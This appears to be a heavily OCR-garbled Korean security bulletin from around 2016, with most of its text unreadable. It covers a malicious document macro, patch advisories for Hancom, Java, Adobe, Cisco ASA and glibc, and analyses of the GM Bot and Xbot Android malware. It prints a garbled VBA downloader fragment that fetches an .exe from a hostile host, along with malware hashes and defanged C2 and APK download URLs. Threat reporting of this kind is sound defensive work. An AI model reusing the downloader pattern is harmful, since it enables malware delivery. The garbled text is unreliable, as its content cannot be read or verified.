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@ HEOIUZ LIES LOt= =~ Sl JHI= S2|H LHE 2015 floll IiE= 7IsS 2Wol== 7

'@ ERBD DEASPASE S TEE EHITEUD &0

}f this document has incorrect encoding - enable macrow

LMSS3 r(£+jS" ““tboSpale~elxk =I AUY TBw(Dsaoe _od 1¢zF €l Jhg Wo
PésK, s[TTZ1pIS*FelBo . U YILLTuIDMc My 1k6T—Pl);}u\ Sar Hsaa <Smd, Pi

SSTGZamad) "By u1hbSaP.. ]'\,._ﬁ&u;&ujﬁ L=+ m/IP’k CEAT&™I%:)r IK3bU=-II(GZ xh-
JeI2 € Lmas I V€, ZUS~dc I BXME VL «v'-H anmds o T€ B« %eaul- EVULIuIITcMuy'4 K6T-1

23{JuN"Sw Hsam ,<5md, PsL +«B% m P kMSigFKyaad A% @ _ [IIUa:W3a3Thy%e
SSTGZanth “Py u1hS <L ~+ 5% mJIP kMSigFK-EN

@ EZ S5 2 39 ==V SRAHM S A0[EZRE AGTES 22010 Al

Set abscind = CreateObject(prepense)
prematureness = 115 - 100

factorization = 109 - 45

For prematureness = 115 - 100 Yo 109 - 45
exoticism = “ve" « “nire” < StrReverse(™") +
Next prematureness

expectable = StrReverse(“"TEG")

QI chult “As Intoser gety/ ooooox.com/S8h751561/34qwjokk.exe

epigrammatist = Tower.Defence
naq;orinsﬁ- . cgl |ByName(abscind, “open”, VYbMethod, expectable, epigrammatist, False)

ad

(HHIRD BT THU0| HEkE HIo]| Chet ZA Zst H S8 2ol Ho

OI8X) Ex7t 22Tt HIY2 AN = A2, 118 MO|HTIMMIEZ L1105k 513, MS /0| T = 7 [s2

|
ol

- (Of2forsta) etz A3l — Q=T — GUIEE — @EFEHOIM IR =5 MEH(EZ 2010 71F)

ADEIE SR Nor 8N =
ot o5 | BRE SHNE RO
s

@ MR #/D =N
HORES WUSIA WaLICH
[{Z1)

EREIO| U= SENET IOCITH I ALEY
AP WE DS MNIARS LUWELID.

SR50 2X PE IVNRWV EUKI2S A
NP LN 2L HITE WV ZalIl)

O xen
HIR GU AN INTE BT IS AETEN
RO R ENE 42 HIESE JULCH
OREAIEIA IR
MO9S & O HIDY GU S QAUSKA 22
HIRW GueLiC
IR NoIRI2H ST NN | BT MSUN
L3NG LN < VSDF 0 B YD USRS
UIHE SWSIER.

—(MS IE) O Mal — @H|0IM D MEH — DM — @EHOMIE — GIITZAHO0|A IHZZ H|2
MEH(Office2013 7|&
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2o 4Ey
MEIE 5 Uk AR N
MEIE 5 Us UA
= o

UEE + UE BA

MEE 4 Qe = RS ® 25 BI= HARE EAND

e O 2F B3s TPRAEL Y= BE7 AV & YOO FVHX RSO
ActiveX &%

AR RIS 1Y

RE w7 [ vea ZEXME 742 SE0 A VEAT = AW

oA 2 & 7| Hof HH|0|E A1

IENHEREN= OS2 & 2UA MiZ0| tigh Hot HH0IES UE

- AphpEe
O3} i BYFHO| ASKH= OIMTIE 20| F2fL 4 U002, Of SHEOI| et HAlHOZ
- oz

SIEMHRE] SHOIX[0A EOt AHO0|E MURHAT)S LIREE Hiot MX|
- [REE Z=: http://www.hancom.com/downLoad.downPU.do?mcd=005

SIZITE KIS 2IH0IES S5 ZA HFHOE ofFjo|=
~ A&l DS D22 . SIEIEE — 512 XIS lH0|E

[EIAL|E]
http:/ v hancom.com/downl.oad.downPU.do?med=005
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AOIB{EZ 7K540] SOFEI0N 2t ALO|MSI7| ZE B
AL — O] ZEE A U

- SAMEE

Jt4 xSt 2 EAE| DAY LAL JHESH 2 ST & =2 2E0) [ME S8tef =7t o CHH[SIH 2.11(=)
=]

11:00 & AO[H917 | BE HAS 2

U*,
}
A
]
oN
0>
od

¢ AOIHISI7| ZE Bl TP FOL- 27 A2 02

OPYTIE ZUHOR Olot IHHS: K| BLER MS PIE, MM T2 S0| H1 HORIR0|E K 9X]

X7 =232 0|HY H ST SLOIXIE Stt Z4F LHE &K == F2

QeS| Java SE 6,7 3 0flA HATE AaH0| 7tsst FPH0| U=
- JMEE

Oracle JDK and JRE 6 Update 111 HZ 2! 512 A

Oracle JDK and JRE 7 Update 95 HZ ! 52| A

Oracle JDK and JRE 8 Update 71,72 HZ L 52| ™

% JavaSEEE = Hk s

K= S4:511| ZXIE 2 A|E WS S5 CI22C NIlg QE510 ANTC QE Tis

X2 M2l =l HOI0|IEE CLR22E= &0t ZX[SH/L, Java AFSYH|0|E 2FE
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[EAIE]

hitp:/ Aww.oracle.com/technetwork /topics/security/alert-cve-2016-0603-2874360.html
http:/ /mww.oracle.com/technetwork /java/javase/downloads/indexhtml - hitp:/ /mwwvjava.com/ko/download/help/java_updatexml

Adobe Flash player, Photoshop, Bridge 417 £[2Fd HOt IH|0|E #11

Adobe iit= Photoshop CC, Bridge CC A EiAlicH=
Adobe iiti= Flash Player OflA] Zdich= FoFES oliidst HOt HHI0|ES HH
L.|-O I:I-|I‘| A}'Q-I["— OI-kI = 7}040-" -r| I-'SF_JIE_

=
- MEE

Adobe Acrobat 2| 25 71 F2FF0]| CHet £t HH0|ES LHE

- YO|TE MIMOZ 0[01E £ U= 7 == FAE(CVE-2016-0985)

- Yo|TFE MHOZ O|01E 2~ 4= use-after-free FIUR(CVE-2016-0973, (VE-2016-0974, CVE-2016-0975, CVE-2016-
0982, CVE-2016-0983, CVE-2016-0984)

- QIO AIBHOZ 0[0fZ! 4 QU= 3! HIH QHEZLQ FOFH(CVE-2016-0971)

- Yo|TE MHOZ O|01E 4~ Qb= M| 2] 24 FOF(CVE-2016-0951, CVE-2016-0952, CVE-2016-0953, CVE-2016-
0964, CVE-2016-0965, CVE-2016-0966, CVE-2016-0967, CVE-2016-0968, CVE-2016-0969, CVE-2016-0970, CVE-
2016-0972, CVE-2016-0976, CVE-2016-0977, CVE-2016-0978, CVE-2016-0979, CVE-2016-0980, CVE-2016-0981)

Had

|
ol

Adobe Photoshop CC, Adobe Bridge CC Ak2Xt

—¢ERX o 2kA49| Adobe Photoshop CC AkZXk= Adobe Photoshop CC 2015 16.1.2(2015.1.2) ™ = Adobe Photoshop
(C201415.24(2014.2.4) HHMOZ AH|0|E ME
- Adobe Photoshop CC2015 : AtS HH[O|EE 08510 g12(|0|=
» Adobe Photoshop CC 2014 32bit : https:/ /www.adobe.com/support/downloads/detail jsp?ftplD=6015
- Adobe Photoshop CC 2014 64bit : https:/ /www.adobe.com/support/downloads/detail jsp?ftplD=6016
- Adobe Photoshop CC Mac : https://www.adobe.com/support/downloads/detail jsp?ftplD=6017
- Adobe Bridge CC: Xt= HH|0|EE 0|&510{ &12{|0|= 0 Adobe Flash Player ALZX}
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— =X o 2+A0| Adobe Flash Player desktop runtime AR2AH= 20.0.0.306(Intemet Explorer) HMCZ HH0|E ME
- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0f| EH=2510] A HFS MX| Xt= HH0|ES
0|23l & T3[0|1=

— Adobe Flash Player Extended Support Release AF2AH= 180.0.329 HMOE AH|0|E M
— 2|54 232 Adobe Flash Player ABXR= 11.2.202.569 HEC = AH|0|E &8
-2 3= 2 Microsoft Edge 2] QIE{SlI AAZZ2{0| Adobe Flash Player £ AX[S AFRA= XSO 2 £[X RIH0|EVF X

— AR desktop runtime, AIR SDK 2} Compiler, AIR for Android AF2XH= 20.0.0.260 HECZ HHI0|E MK

[RIUAO|E]
https://helpx.adobe.com/security/products/photoshop/apsh16-03 html https:/ /helpx.adobe.com/security/products/flash-player/apsh 16-04.html

Cisco ASA 2 EQ|0] 4l F2H HO HH[0|E AL

8%

HO|ES EE

Cisco = ASA ATEQIO{0]) HEHS = FOrKS ozt Hot
2 = So| IS WA 4 o=,

TS FIOFHO P = A0 Q0| T 43

fl
0

>
=
[>
X

EA HTOZ AH0|E AL
- MR
Cisco ASA 2ZER|I0{2] IKEv1 R IKEv2 OfiA] 222 E UDP IS A{=|E I Yo F= 0| 7Hset FFH((CVE-2016-1287)

2y

ol

FOFH0| 2riet Cisco AZEY07HEXIE Cisco FHIS| 2B, SHEE= FIAMOIEN HAEH U= ‘Affected Products’ &

‘Obtaining Fixed Software’ LIS 2iQ15}04, THX| M

[RIIAIO|E]
https://tools.cisco.com/security/ center/content/CiscoSecurityAdvisory/ cisco-sa-20160210-asa-ke
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glibc F{2FH 22t YH|0|E E1!

72 22401 AIF2IE] AT 2l5A GNUC 20I=2{2l(glbo0iA 212 = A3H0| 755t HORMICVE-2015-7547)2

At
% QVE-2015-7547 £ glibc 2] getaddrinfo &f=01|A] EMioh= HI{RHEZ L F[H
olid Xi=: GNU glibc 2.9 FE{ 2.22 0[5 TS AFESk= AIARO~22 HT)
- JMEE

et T B AEAR= AR 2R E Holl SOf| Ffeh 4= UCTZ SHZAURHY| et ZLUHTHOZ HHI0|E AL
- offZ¥

ofi F2FH0Hl Chigh 22HAL0|E7H S7HE OS E 2ol US E2, FLIAO|ES| LIES EZE610] 22t KH|0|E -

[RIUAO|E]

https:/ /wwwi.centos.org/forums/viewforum.php?f=17

https://security-tracker debian.org/tracker/CVE-2015-7547

https:/ /access.rednat.com/security/cve/cve-2015-7547
http://people.canonical. com/~ubuntu-security/cve/2015/CVE-2015-7547 himl
https://wwwi.suse.com/security/cve/CVE=2015-7547 html

ESTSOft Copyright by ESTsoft corp. All rights reserved.






Part4. slie| 2o S

1. 30/A

OICZ0|E HL0{2] GM Bot AATE 221010 K& &f
GM Bot (Android Malware) Source Code Leaked Online

GLIo| PIEZ0|= ZEO| A|AHIO| HEots A0 ME SIS BF XIHE = U= ¢IE20(= W EZ0(=501 GMbot 2

AATETLEF 2240101 SIHIRICE O] izl EZ20|=50t 2= 027X 0122 & A UL}, MO[|0{00 = SlemBunk,

A|ZHENS Bankosy, Heimdal Security BiA= MazarBot O 2 HHGIJICE 0| Z= QHEZ0|= izl E20|=0k= [BM O] 2014 A
2745t GM Bot Of|A] IHH =[ACE. GM Bot 2 2{A|0F2] AO[HEZ| A TI2F2E IR0fA $500/€ 450 Off HiK =1 UKL O]
AATCE O[S =717 2015 H 12 € 0|2 0| K56 ZHO= HOIC

GM Bot 2 70|, 2ff Z=2Joli0f 5h=71?

kel

GM Bot 2| 7Fg} |1 B2 MazarBot 0|0, Ol= Tl HOIXIE HAlIH AEZ0|E RASSE £0 =28 2 32[HE
oAl A=l

mjo

0|A 0[2|0f|= 0] EE0|=0H= Of2He| 7[SES 7KL QUCk:
- AR 7|s

- 2 71712 C[O[E] AfA|

= 7171 X A= RO XSNOZ SRE 4~ Q=TS
—SMS HIAX| &/

— GIEX| L H2iHS0 et 27|
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- HIERS e FHe

- Qe

I

= 71718 MEER| LHE 25 A

O[] GM Bot & AATIE 2 B2 S2 HFKISO0| PR TS 4 Q| FIAUCL GMBot 2 IS0/ MEHOIA 7F Sigit
7] ES0IS0K 511017 | IH20H, MBXISS 221921 2 MHIAS OFF A| 245t o7} 971 EIL, 0J2{3t 20 ThH(oh|
oIt eI Ofefet 2t

—

& Gl X9 HRIYS U= 2E6K| pi=0

—_

2.SMS L} MMS HIAIX|2 22 23 E Hii= S=I6HA| pi=t

3. 34 O|HIZXE 2SI, FAOIEN| 21 Y=ol0] 2Rlsi,

5. 2fE| HIO|2{A 40| JEHS Shef ZHICZ FA[BICL.

6. QFHOIX| §7LL & 2= Bli= WinFi IATRES Tfol, ASSIX| s B9 Wi-Fi 2495 THED.

EX: http:/ /thehackemews.com/2016/02/android-malware-source-code html

MEIIE U 281 5t MEHE mASID, 2MS 9|5 H

71712 Y33lot= QAHER0|E EZ0|Z0f “Xbot” SX
New Android Trojan “Xbot” Phishes Credit Cards and Bank Accounts, Encrypts Devnces for Ransom

bot 2| 22 74 CIEZ0|= 40| 74 E[RUCE 0] EZ0| S0k= OFE| 7HY F0|H M7 MO Z H|0|E k= FO0[X|2 0|0] Ci2
oty WS0| 7Isol. 0= 12 22012 Xtz QIHD0]ARL 771 22 o] 27191 HOIXIS SAlet Il HO|XIE Sl Sild]
HiZ| FA|EIAMTL MRTIE MEE SR AT} 5 A0S 21K | OIE20|E 77|12 &2 4 QloM SDIIE S 9
RIS R LIOEE iS5t ofd $100 HOFE JHA| 7IEE 27RHC ALPL 2= SMS HAK] H H=iX YEE SXIH,

£74 SMS HIAX[0f] QELE SHH, 220IA] = SMS HIMXIE THelst= 7ISE UL,

2XH7EK= O] BI7H 20K A HXK = 82 A= EIrt ot Mo: Sifli= olA0te} 85 FASES el AC=2
HOICt FA & 771 ¥= & 67l= 2F0M 27 RU= 22 BSOIRACE. SFX|ZH Xbot 2 Rt 122 O B2 AER0|E WSS
SpAlS fef = QA A =T = HEREPHES| 2/0E HH0IE st AEZ, &= H MA|2| AERZ0|E FAE

oz =7
oI35t JH=AI0| =L}

H=
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Xbot 2 QIER0|=0| 7iSSS 013t QI[Ql B2 K0! “UEMHE| Sl0|Kf"S ARSIt 2L QIER0|S X 50 0j52
0| THS A7 |7| YUt HAHLIZS TURKIT: X 20| ARBSH= CIE B2 71552 05| B HiHIo| 1= 20[=0j
SxI5i

Xbot 2 X[t 2014 E0f| XMz A & AI=20|= EZ0| FS0t21 Aulin S Alset A2= E2IC

B

OFX] Xbot Of OEA| Tt Ei=At= Eelo| O] ULt SHX|ZE O URLSS 22 R & 2 2280 HESS
VirusTotal 0ijA] = == UICE

~ hxxp:/ /market155[Jru/Install.apk

~ hxxp://illuminatework{Jru/Install.apk
— hxxp:/ /yetiathome? 5[ Jru/Install.apk
— hxxp://leeroywork3[ Jeo/install.apk

— hxxp://moming3[ Jru/installapk

Xbot 0] QI=20[= 71701 2X| =|H, CRC MH2IO] SIS APEH e Z0[C}, £ H0ISS U 2RH, 1= 220l X &3
27 U ¥ /LSS ol IlY S4E ARRIC 22l= 3 71| MZ THE Iy 32 2! HEH|E| 00X ofLtS ZHEICH,

Ol= Of2H2} 20 LIERTE:

0"
o

Fake
Notification RN

"cc notify" "~ user click

=y
C2 Server "cc_dialog" f Phishing
'L Activity

=7

lenable inject™

hijack acti\ﬂty-") /’
Running App | -~ .
Monitor .

)

"add_inject" -“assign phishing URL

I
update config -*

#
&

Hijacking App |-
List
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2 BEOI “ec_notify"2 AR, Xbot 2 71t AIAH 2ES 9] 712 F2(0] 209t “ZH| =EH F71"2h= HAXIE oLt
c{AOIHZ BEARICE Of= SA 712 S20] 0| AHIA0| 712 EIRKIE AE 7I= HE = MSoHK| 2 FAE L=

HIOiZE ALK TS DHIHCE SIRIZ Xbot QA7 O] T2 20| A0l ZH| HES MIZSHS T A2 810] 0] HAKIS
BAIBICY,

§I*”°F0I 7t LS =01, Xbot 2 (2 AfH{0f| 2510 EHO0IXIE 225 = WebView & Soll 0| EA[RIT,. HOIXE=
S71E Y2 MSS flet 12 SHl0[e] 2| AAHH0]AL} S2oiTf. TEoH 0] HO[X|2| 2fE EXk= YA H|O|X|2t Ii2
f Al ZFOIRLE 6710 &1 == 2= FE= Q2 M| Y25 0t 2+7ok= = Ot 20t

- NgFIE e

- a2

[@] melon25.ru/gp/gp_enhtr = [#] melon25.ru/gp/gp_enhtr = [#] melon25.ru/gp/gp_enhtr =

Enter card details Enter card details Enter card details

B s [ £ @ & VISA VISA

123456
-

1

Google Play Google Play Google Play “

NY

=2 Z20] X2 HO|X]
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BHHO7I “cc_dialog™! B2, 71Nt L& HA= AZ [0 7t 1= 2240 RO |X7t HEE BA| EICH C2 BH07t
“enable_inject”?! A<, Xbot 2 Of_%0|':9[ getRunningTasks() API £ 02310 Sixf Adll S WS= ZLIEIZSICT Dok Sixy
Al S01 M0| 7= Ed0|L EX SF 23 U F2R, SA| A &[0 Q= A 31 Z{YTHO| TS ZI2C0 Ol 101
34 HQ HEH[E] OPOIIH5"0|Ef
MZ SHA|

dfda8e52df5ba1852d518220363f81a06f51910397627df6cdde98d15948de65
€905d9d4bc59104cfd3fc50c167e0d8b20e4bd40628ad01b701a515dd4311449
f2cfbc2f836f3065d5706b9f49f55bbd9c1dae2073a606c8ee01e4bbd223f29f
029758783d2f9d8fd368392a6b7fdf5aa76931f85d6458125b6e8e1cadcdc9bs
1264c25d67d41f52102573d3c528bcddda42129df5052881f7e98b4a90f61f23
20bf4c9d0a84ac0f711ccf34110f526f2b216ae74c2a96de3d90e771e9de2ad4
33230c¢13dcc066e05daded0641f0af21d624119a5bb8c131cabd2e21cd8edc1a
4b5ef7¢8150e764cc0782eab7ca7349c02c78fceb1036ce3064d35037913f5b6
7€939552f5b97a1f58c2202e1ab368f355d35137057ae04e7639fc9c4771af7e
93172b122577979ca41c3be75786fdeefa4b80abc3df7d821dfecefcalaabb05
a22b55aaf5d35e9bbc48914b92a76de1c707aaa2a5f93f50a2885b0ca4f15f01
d082ec8619e176467ce8b8a62c2d2866d611d426dd413634f6f5f5926¢451850
a94cac6df6866df41abde7d4ecf155e684207eedafc06243a21a598a4b658729
58af00ef7a70d1e4da8e73edcb974f6ab90a62fbdc747f6ec4b021c03665366a
7e47aaa8aldda7a413aa38a622ac7d70cc2add1137fdaa7ccbf0ae3d9b38b335
d1e5b88d48ae5e6bf1a79dfefa32432b7f14342c2d78b3e5406b93ffef37da03
€2354b1d1401e31607c¢770c6e5b4b26dd0374c19cc54fc5db071e5a5af624ecc
12f75b8f58e1a0d88a222f79b2ad3b7f04fd833ach096bb30f28294635b53637
1b84e7154efd88ece8d6d79afe5dd7f4cda737b07222405067295091e4693d1b
616b13d0a668fd904a60f7e6e18b19476614991c27ef5ed7b86066b28952befc
2e2173420c0ec220b831f1¢705173¢193536277112a9716b6f1ead6f2cad3c9e
595fa0c6b7aab4c455682e2f19d174feb4e72899650e63ab75f63d04d1¢538c00
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C2 M H 28 URL

melon25[.]Jru

81[.194.205.226:8021
104[.]219.250.16:8022
hxxp://52[.124.219.3/action.php
hxxp://192[.]1227.137.154/request.php
hxxp://23[.1227.163.110/locker.php
hxxp://market155[.]Jru/Install.apk
hxxp://illuminatework[.]Jru/Install.apk
hxxp://yetiathome15[.Jru/Install.apk
hxxp://leeroywork3[.Jco/install.apk
hxxp://morning3[.Jru/install.apk

EX]: http://researchcenter paloattonetworks.com/2016/02/new-android-trojan-xbot-phishes—credit-cards-and-bank-accounts—encrypts—devices—for-ransom/
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ZEX=:119.5 21
IR : Jedokokok
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y

AMMIEAM H1M - http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/
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l
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TOP3. FakeDebuggerd 2Fd3E
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